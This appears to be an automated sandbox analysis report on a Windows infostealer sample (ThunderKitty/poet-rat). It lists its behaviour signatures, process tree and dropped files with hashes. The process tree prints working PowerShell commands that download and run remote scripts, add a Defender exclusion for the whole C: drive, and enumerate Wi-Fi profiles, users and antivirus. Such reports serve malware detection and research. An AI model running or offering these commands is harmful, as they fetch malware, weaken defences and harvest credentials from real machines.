Analysis

  • max time kernel
    137s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/08/2024, 17:22

General

  • Target

    2024-08-18_a411850a05fd98df165fc049f0b65e7a_poet-rat_snatch.exe

  • Size

    14.0MB

  • MD5

    a411850a05fd98df165fc049f0b65e7a

  • SHA1

    9761dd1b38dfab92aebe2278d760667e97c20526

  • SHA256

    72774636c2f539cf4419d2ce078a81bacf6637fe5f54d866f326f2a7e6c61cad

  • SHA512

    b8fb0c4a5b1607d0bdf652d4ebc628bbf7ed36ec04496c5a9d2a1e0b156e942ccd283805db4ba021e7f44a23e2691afbba434f1423a4b21886f2486334eb3eb7

  • SSDEEP

    98304:LD34pnMJNfzN73viCc9Z39ifuGE9EdKvWRJVZgFjgw6IDsXBxYCspzHq21Ye5ucs:UMJNfpvWuQvIIQ/cqI6cp+hzMGhJXbT

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-08-18_a411850a05fd98df165fc049f0b65e7a_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-08-18_a411850a05fd98df165fc049f0b65e7a_poet-rat_snatch.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2m422dcj\2m422dcj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5BCC.tmp" "c:\Users\Admin\AppData\Local\Temp\2m422dcj\CSC5A05D9AEF4164C45B33484D92E0128.TMP"
          4⤵
            PID:4644
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" wlan show profiles
          3⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Network Configuration Discovery: Wi-Fi Discovery
          PID:3820
        • C:\Windows\system32\net.exe
          "C:\Windows\system32\net.exe" localgroup administrators
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            4⤵
              PID:2364
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
            3⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4520
          • C:\Windows\system32\whoami.exe
            "C:\Windows\system32\whoami.exe" /all
            3⤵
              PID:1588
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3068
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:636
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /displaydns
                3⤵
                • Gathers network information
                PID:4428
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2724
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup
                  4⤵
                    PID:2248
                • C:\Windows\System32\Wbem\WMIC.exe
                  "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
                  3⤵
                    PID:1684
                  • C:\Windows\system32\NETSTAT.EXE
                    "C:\Windows\system32\NETSTAT.EXE" -ano
                    3⤵
                    • System Network Connections Discovery
                    • Gathers network information
                    PID:3212
                  • C:\Windows\System32\Wbem\WMIC.exe
                    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
                    3⤵
                      PID:4508
                    • C:\Windows\system32\ipconfig.exe
                      "C:\Windows\system32\ipconfig.exe" /all
                      3⤵
                      • Gathers network information
                      PID:1448
                    • C:\Windows\system32\ROUTE.EXE
                      "C:\Windows\system32\ROUTE.EXE" print
                      3⤵
                        PID:1184
                      • C:\Windows\system32\ARP.EXE
                        "C:\Windows\system32\ARP.EXE" -a
                        3⤵
                        • Network Service Discovery
                        PID:1468
                      • C:\Windows\system32\netsh.exe
                        "C:\Windows\system32\netsh.exe" wlan show profile
                        3⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:1848
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -C "Add-MpPreference -ExclusionPath 'C:'"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3480
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
                      2⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2820
                    • C:\Windows\system32\cmd.exe
                      cmd /C �֫ }�n�$
                      2⤵
                        PID:4952
                      • C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
                        PowerShell -Command ""
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4424
                      • C:\Windows\system32\cmd.exe
                        cmd /C ��ݖ]� �ǫ
                        2⤵
                          PID:4596
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
                          2⤵
                          • Views/modifies file attributes
                          PID:860
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM wallpaper32.exe
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4488

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                        Filesize

                        2KB

                        MD5

                        d85ba6ff808d9e5444a4b369f5bc2730

                        SHA1

                        31aa9d96590fff6981b315e0b391b575e4c0804a

                        SHA256

                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                        SHA512

                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        1KB

                        MD5

                        650530995c0c66b5742598af639576c6

                        SHA1

                        01ca36b91234e7dfe890d024bf027b7f0316f546

                        SHA256

                        d4854bdfe510248cbeb05959e5c65d609c3d32d017d83b14ad98fe318dc6f551

                        SHA512

                        32f4a48e19ee48505452798188b27d98a4da90b6771fa0514592f1efad46247cc8ee03b1e0dbe58440fd2c981c761e4bfcf9a110f232b801ccfcd657a8737841

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        d28a889fd956d5cb3accfbaf1143eb6f

                        SHA1

                        157ba54b365341f8ff06707d996b3635da8446f7

                        SHA256

                        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                        SHA512

                        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        1KB

                        MD5

                        826ca040e1f9e84acd20f789d81903f6

                        SHA1

                        4d997b017a5cbf868011df6623793770c86a377b

                        SHA256

                        eb551c927c34363036e8e2186ff9c7693d0271165358972cf5342f22499fe62a

                        SHA512

                        9a013fc1302ce4eeb2781b237c32070ed3008bdb85ab6310eed4064558a2547cf677faeb366a6da112c3d06d53ab83c1693c5c27b6aee8284503ce80c62ab660

                      • C:\Users\Admin\AppData\Local\Temp\2m422dcj\2m422dcj.dll

                        Filesize

                        4KB

                        MD5

                        124d01aa592031084d3f5075791a2ad4

                        SHA1

                        89bbec58acd48941e7de136a265c4f6add1752d0

                        SHA256

                        c510f8cbc1ad7cc5ec5e03e6fac718e5ee8e354f0f3cfc869822ec9b5eafdfb9

                        SHA512

                        81137006bc3b8f2aebea16dde6b283878bf5f14e031e1e7631ce00ee9e60718d53f2c5a0d62146cb4aa8bffad752ffe8896c5284882acf0db07f30e8aa74edf8

                      • C:\Users\Admin\AppData\Local\Temp\RES5BCC.tmp

                        Filesize

                        1KB

                        MD5

                        45a70283ace48d498d1d2ccd39657630

                        SHA1

                        89783171175185d1e4c27823a770207199dda879

                        SHA256

                        85f51025e01a7727910b4eca094d5bbf06ee38c96f57d05b1c6290d07f9497da

                        SHA512

                        0e05ac9a24b9650228cca554f20a2d654e138971f6629eb568995b37db46f107c104c55422320127bae0db301e9abde39183275ce26c875710506562f62ff8ee

                      • C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip

                        Filesize

                        97KB

                        MD5

                        dd8f87919d3cda4d0662154b8fe13932

                        SHA1

                        442f0a37a5ddfdb81fc79c922843538919e9f0cd

                        SHA256

                        7e22fd21b91f2313089f77c42ba98729bcc2f3d94bd41de9b5f3f35d174c395d

                        SHA512

                        f6962a71373c94c39ef6a5192478c9d2c61952b59c404c48852bb82de67b620f94486542595d2c0ccd1c48ef3d915614b91cf6a6132225b5a118b87c200720fc

                      • C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt

                        Filesize

                        24KB

                        MD5

                        06f90e9cae87025cdd6e9f6562673592

                        SHA1

                        683239a619d9d47b802d11df5c29818051b50b56

                        SHA256

                        38c0002ac05807a034e32acc7d688c617d748666ba8ddd3f015d4334f5d85511

                        SHA512

                        7ab1b4c95c5cd54bc751c293376132ab850ab57a8b0c7b90c6f08ff96862029d565a83514b391dcfd35841c5f5313920ccb1476719925b071cbfaa9e395d47e3

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1aeyp3q.fts.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

                        Filesize

                        2KB

                        MD5

                        9758656bbe8589c66bb241b052490c72

                        SHA1

                        b73da83fb3ae6b86c6365769a04de9845d5c602c

                        SHA256

                        e4bfe191530cc53138c4a265755539f8a115f7828faba79dfac91f3184b26351

                        SHA512

                        da9a8ecba8c2071e467f2d72fac524843fb0011c8486dd95e8b948b1c7f91bf02bcb80c20a01eddb6971b96db5ebde5f7c4c607e6b6d15e75d971ea104436e34

                      • \??\c:\Users\Admin\AppData\Local\Temp\2m422dcj\2m422dcj.0.cs

                        Filesize

                        1KB

                        MD5

                        8a1e7edb2117ec5dde9a07016905923b

                        SHA1

                        0155dbeeb16333e2eaa767b0209750efee56f47f

                        SHA256

                        c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007

                        SHA512

                        4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21

                      • \??\c:\Users\Admin\AppData\Local\Temp\2m422dcj\2m422dcj.cmdline

                        Filesize

                        369B

                        MD5

                        503dc15fbd702207a30ca797c3a6eb6e

                        SHA1

                        4832a7e7546f8020c694647bdb539341bc44283d

                        SHA256

                        2b0088b6de35fd6821dee0cee7684a96a20329a4715a245de9fd5e882a332fbc

                        SHA512

                        bcf598315b8c8cbd8b44fea63060ea8a2ba6104488d31abfafc2d00b7e198662168c30bd0d08109785c29fd7e0f9c2c849c372da9b8a64dfd733388e8aad54bb

                      • \??\c:\Users\Admin\AppData\Local\Temp\2m422dcj\CSC5A05D9AEF4164C45B33484D92E0128.TMP

                        Filesize

                        652B

                        MD5

                        98acada5446f6cab472d6c07b9d0a7b9

                        SHA1

                        25c49354197965c1aa398bc8f931c221fc96c240

                        SHA256

                        5e433acd3c7a4bb6691576047b790d3db2360c4ffc2135144dde6e05c840ec69

                        SHA512

                        49a3fc9906dc02da3eecd3fb8d6c00fb2c2cf5c4278e793a8fcceb4e50e7b3da13a9d221803d4b60f7e94bb0d8999b940581387d3529221b72273f3afc63fe95

                      • memory/2820-70-0x0000027E79F10000-0x0000027E7A6B6000-memory.dmp

                        Filesize

                        7.6MB

                      • memory/2820-7-0x0000027E79270000-0x0000027E79292000-memory.dmp

                        Filesize

                        136KB

                      • memory/2820-44-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2820-23-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2820-75-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2820-22-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3480-34-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3480-69-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3480-0-0x00007FFBED423000-0x00007FFBED425000-memory.dmp

                        Filesize

                        8KB

                      • memory/3480-1-0x00007FFBED420000-0x00007FFBEDEE1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/4196-79-0x0000026858F90000-0x0000026858FB4000-memory.dmp

                        Filesize

                        144KB

                      • memory/4196-112-0x0000026858F80000-0x0000026858F92000-memory.dmp

                        Filesize

                        72KB

                      • memory/4196-113-0x0000026858F60000-0x0000026858F6A000-memory.dmp

                        Filesize

                        40KB

                      • memory/4196-61-0x0000026858980000-0x0000026858988000-memory.dmp

                        Filesize

                        32KB

                      • memory/4196-78-0x0000026858F90000-0x0000026858FBA000-memory.dmp

                        Filesize

                        168KB